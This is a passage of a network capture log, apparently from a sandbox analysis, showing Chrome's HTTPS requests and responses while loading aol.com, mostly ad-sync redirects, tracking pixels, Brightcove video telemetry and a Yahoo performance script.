cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	581	IN	HTTP/1.1 200 OK Connection: close Account-Status: APPROVED Content-Type: application/json; charset=UTF-8 Policy-Key-Accountid: Powered-By: BC Powered-From: us-east-1a X-Has-Manifest-Url-Ttl: true Expires: Thu, 23 May 2024 22:43:27 GMT Date: Thu, 23 May 2024 22:34:59 GMT X-Served-By: cache-nyc-kteb1890081-NYC X-Cache: HIT X-Cache-Hits: 21 Bcov-Request-Id: epa-6867a6469f21, epa-d055923df76c-cr, epa-804aad6acbbf-d Cache-Control: no-store, must-revalidate Access-Control-Allow-Headers: Authorization,* Access-Control-Allow-Origin: * transfer-encoding: chunked
2024-05-23 22:34:59 UTC	5	IN	Data Raw: 36 65 33 0d 0a Data Ascii: 6e3
2024-05-23 22:34:59 UTC	1371	IN	Data Raw: 7b 22 70 6f 73 74 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 31 32 38 30 78 37 32 30 2f 33 34 73 32 30 38 6d 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 32 35 38 38 37 7e 61 63 6c 3d 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 31 Data Ascii: {"poster":"https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/1280x720/34s208ms/match/image.jpg?akamai_token=exp=1716525887~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/1
2024-05-23 22:34:59 UTC	392	IN	Data Raw: 2f 33 34 73 32 30 38 6d 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 67 2a 7e 68 6d 61 63 3d 31 65 34 63 63 33 61 65 65 61 30 62 37 36 37 37 36 33 38 35 65 31 36 64 66 32 64 32 65 62 64 36 32 62 64 65 63 38 62 31 62 64 63 65 62 39 64 63 66 33 66 61 63 35 65 34 64 33 61 36 35 36 39 65 22 7d 5d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 74 61 67 73 22 3a 5b 5d 2c 22 63 75 65 5f 70 6f 69 6e 74 73 22 3a 5b 5d 2c 22 63 75 73 74 6f 6d 5f 66 69 65 6c 64 73 22 3a 7b 7d 2c 22 61 63 63 6f 75 6e 74 5f 69 64 22 3a 22 36 34 31 35 36 36 35 38 31 35 30 30 31 22 2c 22 73 6f 75 72 63 65 73 22 3a 5b 7b 22 63 6f 64 65 63 73 22 3a 22 61 76 63 31 2c 6d 70 34 61 22 2c 22 65 78 74 5f 78 5f 76 65 72 73 69 6f 6e 22 3a 22 34 22 2c 22 73 72 63 22 3a 22 68 74 Data Ascii: /34s208ms/match/image.jpg*~hmac=1e4cc3aeea0b76776385e16df2d2ebd62bdec8b1bdceb9dcf3fac5e4d3a6569e"}],"description":null,"tags":[],"cue_points":[],"custom_fields":{},"account_id":"6415665815001","sources":[{"codecs":"avc1,mp4a","ext_x_version":"4","src":"ht
2024-05-23 22:34:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:34:59 UTC	4	IN	Data Raw: 36 38 0d 0a Data Ascii: 68
2024-05-23 22:34:59 UTC	104	IN	Data Raw: 4e 6a 59 30 5a 6d 51 79 59 54 52 66 4e 57 4e 69 4d 54 6b 31 4f 44 6b 31 5a 6a 45 7a 5a 54 49 34 4d 57 4d 32 4e 7a 52 68 59 54 6c 69 4e 47 49 31 5a 54 5a 69 5a 57 4a 69 59 6d 49 31 4d 6a 49 7a 4e 54 68 6b 4e 6d 56 6c 59 32 46 69 4e 44 49 35 5a 57 5a 6a 59 6a 45 33 5a 57 46 6a 59 54 4a 6c 5a 67 25 33 44 25 33 44 Data Ascii: NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D
2024-05-23 22:34:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:34:59 UTC	5	IN	Data Raw: 31 30 38 0d 0a Data Ascii: 108
2024-05-23 22:34:59 UTC	264	IN	Data Raw: 22 2c 22 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 70 65 67 55 52 4c 22 7d 2c 7b 22 63 6f 64 65 63 73 22 3a 22 61 76 63 31 2c 6d 70 34 61 22 2c 22 70 72 6f 66 69 6c 65 73 22 3a 22 75 72 6e 3a 6d 70 65 67 3a 64 61 73 68 3a 70 72 6f 66 69 6c 65 3a 69 73 6f 66 66 2d 6c 69 76 65 3a 32 30 31 31 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 64 61 73 68 2f 6c 69 76 65 2d 62 61 73 65 75 72 6c 2f 63 6c 65 61 72 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 36 73 2f 6d 61 6e 69 66 65 73 74 2e 6d 70 64 3f 66 61 73 74 Data Ascii: ","type":"application/x-mpegURL"},{"codecs":"avc1,mp4a","profiles":"urn:mpeg:dash:profile:isoff-live:2011","src":"https://manifest.prod.boltdns.net/manifest/v1/dash/live-baseurl/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/manifest.mpd?fast
2024-05-23 22:34:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.6	50049	54.216.114.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	710	OUT	GET /usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:34:59 UTC	263	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 35 Connection: close Server: nginx Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache Timing-Allow-Origin: *
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.6	50052	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	718	OUT	GET /ebda?sync=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:34:59 UTC	729	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:59 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:59 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:59 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.6	50051	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	827	OUT	GET /track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAEYBSgCMgsI4tre9-ng_TwQBTgB
2024-05-23 22:34:59 UTC	496	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:59 GMT Content-Length: 193 Connection: close server: Kestrel location: https://usersync.gumgum.com/usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:34:59 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwji2t736eD9PBAFOAE.; expires=Fri, 23 May 2025 22:34:59 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:34:59 UTC	193	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 22 3e 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://usersync.gumgum.com/usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe">https://usersync.gumgum.com/usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.6	50065	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	663	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&event=player_init&time=1716503696783&autoplay=false&seq=0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.6	50064	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	2343	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&usage=thumbnails!2.0.1&usage=qualityLevels!3.0.0&usage=qualityMenu!3.0.0&usage=inpage-embed&event=player_load&time=1716503696819&qos.events.content.volumechange=1716503696808&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=11707090&qos.performance.memory.totalJSHeapSize=17147142&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=1716503691360&qos.performance.timing.loadEventStart=1716503691359&qos.performance.timing.domComplete=1716503691359&qos.performance.timing.domContentLoadedEventEnd=1716503691322&qos.performance.timing.domContentLoadedEventStart=1716503691322&q [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.6	50066	169.197.150.7	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	529	OUT	GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1 Host: match.deepintent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CDIUSER=di_11fba54761394fc5986e8; CDIPARTNERS=%7B%221%22%3A%2220240523%22%7D
2024-05-23 22:34:59 UTC	645	IN	HTTP/1.1 303 See Other p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' location: https://usersync.gumgum.com/usersync?b=dit&i=di_11fba54761394fc5986e8 set-cookie: CDIUSER=di_11fba54761394fc5986e8; Max-Age=47260800; SameSite=None; Expires=Fri, 21 Nov 2025 22:34:59 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240523%22%2C%22142%22%3A%2220240523%22%7D; Max-Age=47260800; SameSite=None; Expires=Fri, 21 Nov 2025 22:34:59 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Thu, 23 May 2024 22:34:59 GMT server: c connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.6	50053	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	532	OUT	GET /aaq/pv/perf-vitals_2.1.1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: +u5joU5Zg3ZMAF1wCQ5HTbkCS7gaBPvrQPe149rDzuF0K+gfVlV7EZ/rZwyBtbc6Zw+IylAGvv4= x-amz-request-id: EX4SGRGPC4QD97G6 Date: Fri, 26 Apr 2024 05:49:00 GMT Last-Modified: Mon, 29 Nov 2021 20:22:54 GMT ETag: "857d1a718f7aeb43b03b79b7cf3cb0da" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ahrqQUWWaJKYq5NcMeFNfSCgBitYSCQI Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4628 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2393160 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:59 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b 5d 2c 69 64 3a 22 76 32 2d 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 38 39 39 39 39 39 39 39 39 39 39 39 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2b 31 65 31 32 29 7d 7d 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 72 79 7b 69 66 28 50 65 72 66 6f 72 6d 61 6e 63 65 4f 62 73 65 72 76 65 72 2e 73 75 70 70 6f 72 74 65 64 45 6e 74 72 79 54 79 70 65 73 2e 69 6e 63 6c 75 Data Ascii: !function(){"use strict";var e=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},t=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.inclu
2024-05-23 22:34:59 UTC	1300	IN	Data Raw: 74 28 29 2c 65 2e 73 74 61 72 74 54 69 6d 65 3c 75 2e 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 26 26 28 63 2e 76 61 6c 75 65 3d 65 2e 73 74 61 72 74 54 69 6d 65 2c 63 2e 65 6e 74 72 69 65 73 2e 70 75 73 68 28 65 29 2c 6f 28 21 30 29 29 29 7d 2c 66 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 4e 61 6d 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 4e 61 6d 65 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 29 5b 30 5d 2c 70 3d 66 3f 6e 75 6c 6c 3a 74 28 22 70 61 69 6e 74 22 2c 64 29 3b 28 66 7c 7c 70 29 26 26 28 6f 3d 61 28 6e 2c 63 2c 72 29 2c 66 26 26 64 28 66 29 2c 69 28 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: t(),e.startTime<u.firstHiddenTime&&(c.value=e.startTime,c.entries.push(e),o(!0)))},f=window.performance&&performance.getEntriesByName&&performance.getEntriesByName("first-contentful-paint")[0],p=f?null:t("paint",d);(f\|\|p)&&(o=a(n,c,r),f&&d(f),i((function(
2024-05-23 22:34:59 UTC	1300	IN	Data Raw: 4f 77 6e 50 72 6f 70 65 72 74 79 28 79 29 26 26 28 70 5b 79 5d 3d 22 22 29 3b 72 2e 73 65 74 52 61 70 69 64 41 74 74 72 69 62 75 74 65 28 7b 73 70 61 63 65 69 64 3a 6d 7d 29 2c 72 2e 62 65 61 63 6f 6e 50 65 72 66 6f 72 6d 61 6e 63 65 44 61 74 61 28 7b 70 65 72 66 5f 75 73 65 72 74 69 6d 65 3a 7b 75 74 6d 3a 67 7d 7d 2c 70 29 2c 72 2e 73 65 74 52 61 70 69 64 41 74 74 72 69 62 75 74 65 28 7b 73 70 61 63 65 69 64 3a 77 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 29 7b 6c 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 3f 28 68 28 29 2c 77 28 65 29 29 3a 67 2e 70 75 73 68 28 65 29 7d 75 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 72 2c 6f 29 7b 76 61 72 20 75 2c 63 3d 73 28 29 2c 64 3d 65 28 22 46 49 44 22 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 73 74 Data Ascii: OwnProperty(y)&&(p[y]="");r.setRapidAttribute({spaceid:m}),r.beaconPerformanceData({perf_usertime:{utm:g}},p),r.setRapidAttribute({spaceid:w})}}function y(e){l.rapidInstance?(h(),w(e)):g.push(e)}u(y),function(r,o){var u,c=s(),d=e("FID"),f=function(e){e.st
2024-05-23 22:34:59 UTC	728	IN	Data Raw: 5b 6e 5d 26 26 28 61 5b 6e 5d 3d 4d 61 74 68 2e 6d 61 78 28 72 5b 6e 5d 2d 72 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 30 29 29 3b 76 61 72 20 6f 3d 61 5b 6e 5d 3b 69 66 28 6f 3c 30 7c 7c 6f 3e 69 2e 6e 6f 77 28 29 29 72 65 74 75 72 6e 3b 65 28 7b 64 65 6c 74 61 3a 6f 2c 65 6e 74 72 69 65 73 3a 5b 61 5d 2c 69 64 3a 74 2c 6e 61 6d 65 3a 74 2c 76 61 6c 75 65 3a 6f 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 79 2c 22 54 54 46 42 22 2c 22 72 65 73 70 6f 6e 73 65 53 74 61 72 74 22 29 2c 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 28 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 68 29 2c 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 67 65 68 69 64 Data Ascii: [n]&&(a[n]=Math.max(r[n]-r.navigationStart,0));var o=a[n];if(o<0\|\|o>i.now())return;e({delta:o,entries:[a],id:t,name:t,value:o})}catch(e){}}(y,"TTFB","responseStart"),l.addEventListener&&(l.addEventListener("DOMContentLoaded",h),l.addEventListener("pagehid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.6	50056	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	695	OUT	GET /cm-notify?pi=gumgum HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	742	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:34:59 GMT vary: Accept-Encoding set-cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836;Path=/;Domain=.creativecdn.com;Expires=Fri, 23-May-2025 22:34:59 GMT;Max-Age=31536000;Secure;SameSite=None set-cookie: ts=1716503699;Path=/;Domain=.creativecdn.com;Expires=Fri, 23-May-2025 22:34:59 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" location: https://creativecdn.com/cm-notify?pi=gumgum&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:34:59 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.6	50055	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
